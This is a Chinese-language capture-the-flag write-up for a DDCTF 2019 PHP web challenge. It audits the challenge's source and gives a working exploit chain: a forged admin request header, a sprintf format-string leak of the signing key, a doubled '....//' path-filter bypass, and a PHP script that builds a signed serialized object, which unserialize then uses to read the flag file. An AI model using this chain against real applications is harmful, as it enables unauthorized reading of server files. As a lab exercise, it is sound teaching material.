url: http://117.51.158.44/index.php
打开界面,提示:
![](https://img.haomeiwen.com/i8528081/711fdfd18f72b217.png)
按f12,查看Request包,发现存在Auth().php,还有didictf_username,我们抓包或者设置请求头,令didictf_username:admin,即可进入下一个界面:
![](https://img.haomeiwen.com/i8528081/089318db550dc00f.png)
出现了一个url,访问url,得到代码:
url: app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index() {
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) { //判断cookie是否为空
return FALSE;
}
$session = $_COOKIE[$this->cookie_name]; // session取cookie里的cookie_name的值
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32); //hash取session的后32位
$session = substr($session,0,strlen($session)-32); //session取session的其余位
if($hash !== md5($this->eancrykey.$session)) { //hash 要等于 eancrykey + session 的md5值
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
} //session反序列化后是数组,且session_id, ip_address, user_agent不得为空
if(!empty($_POST["nickname"])) { //post的nickname不得为空
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
接下来的工作就是代码审计了,通过第一段代码我们可以知道的点有:
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
//这里有一个替换的函数,用来替换变量$path里的'../'和'..\'字段,猜测是个过滤,之后会用到</pre>
其次是析构函数
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
//全部代码就这一个读文件的,并且$path长度一定要位18位
//***file_get_contents()函数可能存在任意文件读取漏洞***
//这里直接读取就可以
这些后面可能会有用处,先访问一下网页:
![](https://img.haomeiwen.com/i8528081/8f702b35e050a46a.png)
然后来看代码
$ddctf = new Session();
$ddctf->index();
//我们把代码拉到底可以看到先new了一个Session类,然后执行index()函数</pre>
我们先来阅读index()函数:
public function index(){
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
//第一步首先是认证,这个我们已经绕过了,接下来就是get_key()
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
并且这里提示了,key的文件路径和flag是一样的,也就是在同一个文件夹config下,我们接着看最重要的两个函数session_read()
和session_create()
,session_create
会对一个数组的类型的数据进行序列化并签名, session_read
会根据签名验证序列化的数据是否被篡改,如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目,可利用的魔术方法是Application.php
中的 destruct
,这个类对应的对象在析构的时候会去文件内容并返回。
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)), //设置session_id
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);//反序列化变量$userdata
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
//md5加盐
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
先看create函数,大概意思就是说没有设置session_id的时候我们就创建一个,然后我们抓包把这个参数记下来,然后设置在请求头里。
![](https://img.haomeiwen.com/i8528081/d9b8e130a290b6fd.png)
可以看到这个是反序列化+一段md5,我们设置在cookie里访问,可以看到网页输出了一段内容,我们定位代码大概运行到了index()里进行session_read()验证通过后的输出
![](https://img.haomeiwen.com/i8528081/0734f375f968e19b.png)
但是我们想要在析构函数里面读出flag文件的内容,就要给path赋值,所以我们就要给反序列化那里加个path变量,但是这样就改变了反序列化加盐的MD5值,因此我们要知道$eancrykey的值,这里有一个考点,就是sprintf,可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey
时候,就无法输出$this->eancrykey
直接传入%s
作为nickname变量的值,这样就能够将遍历到$this->eancrykey
的值拼接到data并通过父类response()函数输出。拿到this->eancrykey的值就可以随便构造Cookie。
知识点:
当输入一个nickname时,会输出Welcome my friend $nickname,但因使用sprintf函数,存在格式化字符串操作,所以输入%s会输出config/key.txt,注意修改content-type。之后可以使用这个key伪造ddctf_id,格式为key+ser+md5(key+ser),并且Session.php包含了appication.php所以可以直接伪造application
接着我们post出一个参数nickname=iven%s
![](https://img.haomeiwen.com/i8528081/06eb2f530daa8f9a.png)
我们可以看到盐值出来了,我们这下就可以直接构造cookie了,直接写php脚本:
<?php
class Application{
var $path = '....//config/flag.txt'; //因为替换了../,所以我们这里进行双写绕过,不足18字符部分,使用.和/补充
}
$poc = new Application();
$enc = 'EzblrbNS';
$data = serialize($poc);
echo $data."\n"; // O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}
echo urlencode($data)."\n";
echo md5($enc.$data);
?>
不过此处要注意的是Content-Type:
字段值是否为:application/x-www-form-urlencoded
,在cookie里也看见经过了url编码,为了以防万一我们也编码一下,将cookie设置好之后再访问,得到flag。
![](https://img.haomeiwen.com/i8528081/af00a0b7c6b37b3b.png)
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
考点:
1\. 修改请求头为admin
2\. 路径path的绕过,`../`和`..\`被过滤掉,采用双写..././等绕过
3\. 定位函数file_get_contents($path),是php常见的漏洞函数,需加注意,这题用来读flag
4\. sprintf(), 存在格式化字符串操作,nickname的值把%s占位符替代之后,循环到`$this->eancrykey`时候,就无法输出`$this->eancrykey`直接传入`%s`作为nickname变量的值<
网友评论